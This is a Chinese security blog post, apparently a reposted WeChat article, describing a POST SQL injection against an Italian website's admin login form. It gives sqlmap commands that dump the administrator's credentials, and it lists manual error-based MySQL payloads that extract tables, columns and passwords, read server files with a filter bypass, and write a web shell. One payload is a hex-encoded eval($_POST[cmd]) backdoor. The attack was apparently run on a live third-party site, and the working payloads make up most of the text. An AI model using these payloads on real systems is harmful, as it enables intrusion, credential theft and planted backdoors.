意大利后台登录框POST注入实战

admin 2020年11月30日11:29:02评论68 views字数 4286阅读14分17秒阅读模式
声明:该公众号大部分文章来自作者日常学习笔记,也有少部分文章是经过原作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。

所有话题标签:

#Web安全   #漏洞复现   #工具使用   #权限提升

#权限维持   #防护绕过   #内网安全   #实战案例

#其他笔记   #资源分享   #MSF


0x01 前言

这篇文章记录的是当时利用SQLMAP和手工方式对意大利网站后台登录框POST注入”的过程POST注入漏洞一般存在于网站搜索查询框、前/后台登录框等功能

以前也一直想写一篇关于POST注入的文章,可惜一直没找到用于演示的网站,朋友@冷空气给我发了一个,感谢!

0x02 Sqlmap注入后台登陆框

打开目标网站后台,登录帐号文本框中输入个'单引号来简单判断是存在SQL注入漏洞,密码随意输入即可,如果返回下图这样的SQL报错信息则说明登录框存在POST注入,提交方式为POST。
意大利后台登录框POST注入实战


然后我们用Burpsuite抓取登录时的POST数据包,也可以用Firefox和Google浏览器开源插件HTTP-Header-Live手工测试

  • https://github.com/Nitrama/HTTP-Header-Live/

意大利后台登录框POST注入实战


将上边抓取到的POST数据包所有内容保存到文本文件x.txt里,然后利用sqlmap神器中的-r参数来进行测试,具体的参数不做详细说明,请自行查阅sqlmap帮助手册

sqlmap.py -r x.txt -p username --dbssqlmap.py -r x.txt --dbs

意大利后台登录框POST注入实战


数据库已经列出来了,继续执行以下命令来跑下sinpf_sinpf数据库的所有表名。

sqlmap.py -r x.txt -D sinpf_sinpf --tables
意大利后台登录框POST注入实战


指定数据库都列出来了,继续执行以下命令来跑下sinpf_sinpf数据库user表的所有列名。

sqlmap.py -r x.txt -D sinpf_sinpf -T user --columns
意大利后台登录框POST注入实战


指定数据库表名列名都已经出来了,最后跑sinpf_sinpf数据库user表username,userpassword列名里的内容。

sqlmap.py -r x.txt -D sinpf_sinpf -T user -C username,userpassword --dump
意大利后台登录框POST注入实战


这里基本就已经完成了这个后台登录框POST注入漏洞的演示因为我们已经得到了网站后台管理员的登录账号和密码等信息,所以没有再继续进行GetShell操作了!!!


0x03 手工注入后台登陆框语句

细心的朋友可能有发现这里的测试内容与上边的不一样,如:MySQL版本和Web绝对路径等,这是因为当时写这篇文章时忘截图了,所以在重新整理这篇文章时是另外找了套源码在本地搭建测试的。


(1) 基本信息
'and(select 1 from(select count(*),concat((select concat(version(),0x20,user(),0x20,database()) from information_schema.tables limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a)and'
意大利后台登录框POST注入实战

(2) 查询表名
'and(select 1 from(select count(*),concat((select concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)and'
'and(select 1 from(select count(*),concat((select concat(table_name) from information_schema.tables where table_schema=database() limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a)and'
意大利后台登录框POST注入实战

(3) 查询列名
'and(select 1 from(select count(*),concat((select concat(column_name) from information_schema.columns where table_name=0x6163636F756E74 limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a)and'
'and(select 1 from(select count(*),concat((select concat(column_name) from information_schema.columns where table_name=0x6163636F756E74 limit 2,1),floor(rand(0)*2))x from information_schema.tables group by x)a)and'
意大利后台登录框POST注入实战

(4) 查询用户和密码
'and(select 1 from(select count(*),concat((select concat(username,0x20,password) from admin limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)and'
'and(select 1 from(select count(*),concat((select concat(username,0x20,password) from admin limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a)and'
意大利后台登录框POST注入实战

(5) 读取指定文件

1) 常规读取使用这种即可:

'and(select 1 from(select count(*),concat((mid((ifnull(cast(hex(load_file(0x433a5c70687053747564795c5757575c6b725c2e6874616363657373)) as char),0x20)),1,54)),floor(rand(0)*2))x from information_schema.plugins group by x)a)and'
2) 过滤load_file()小括号时可以尝试用这种:
'and(select 1 from(select count(*),concat((mid((ifnull(cast(hex(load_file/*50001file*/(0x433a5c70687053747564795c5757575c6b725c2e6874616363657373)) as char),0x20)),1,54)),floor(rand(0)*2))x from information_schema.plugins group by x)a)and'
意大利后台登录框POST注入实战

(6) 导出WebShell

1) 常规导出使用这种即可:

'or 1 into outfile 'C:\phpStudy\WWW\shell.php' fields terminated by "<?php phpinfo();?>"#
2) htmlentities、htmlspecialchars等过滤时可以用这种:
'or 1=1 limit 0,1 into outfile 'C:\phpStudy\WWW\bypass.php' fields terminated by 0x3c3f706870206576616c28245f504f53545b636d645d293f3e%23
意大利后台登录框POST注入实战

0x04 Sqlmap Post注入三种方式

使用Sqlmap工具进行POST注入时得注意一下POST数据包形式,虽然都是POST注入,但还是有一定区别的。以下三种Sqlmap POST注入方式均搜集整理于网络,至于原作者是谁现在也搞不清楚了。

(1) 指定数据包方式(-r)

  • post的body是这种形式:userid=&userpass=

root@kali:~# sqlmap -r post.txt -p "userid"

(2) 指定一个参数方式(--data)

  • post的body是这种形式:

root@kali:~# sqlmap -u "http://192.168.1.108/kr/Main/Login" --data "name=value" 
--c7eb38bf-7ea1-4fbc-836a-47ceafdfd30aContent-Disposition: form-data; name="page"Content-Length: 11
--c7eb38bf-7ea1-4fbc-836a-47ceafdfd30aContent-Disposition: form-data; name="search"Content-Length: 1qqqqq

(3) 自动搜索表单方式(--forms)

  • post的body是这种形式:userid=&userpass=

root@kali:~# sqlmap -u "http://192.168.1.108/kr/Main/Login" --forms


注:多注意观察下网站域名、管理员邮箱以及数据库/表/列名和管理员用户/密码等信息是否存在一定关联性,可以多搜集一些相关信息,有的管理员为了方便记忆而在多处使用一样或相似的字符,如:网站后台目录、用户/密码、数据库/表/列名等等。也可以根据我们搜集到的这些信息组合生成有针对性测试的爆破字典对目标网站进行安全测试,有时候多注意这些细节地方可能会有小惊喜哦!




只需在公众号回复“9527”即可领取一套HTB靶场学习文档和视频,回复“1120领取黑客防线和安全参考等安全杂志PDF电子版你还在等什么???




【往期TOP5】
绕过CDN查找真实IP方法总结
站库分离常规渗透思路总结
谷歌浏览器插件 - 渗透测试篇
谷歌浏览器插件推荐 - 日常使用篇
绕过360安全卫士提权实战案例

意大利后台登录框POST注入实战

意大利后台登录框POST注入实战

意大利后台登录框POST注入实战  如果对你有所帮助,点个分享、赞、在看呗!意大利后台登录框POST注入实战

本文始发于微信公众号(潇湘信安):意大利后台登录框POST注入实战

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2020年11月30日11:29:02
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   意大利后台登录框POST注入实战https://cn-sec.com/archives/191456.html

发表评论

匿名网友 填写信息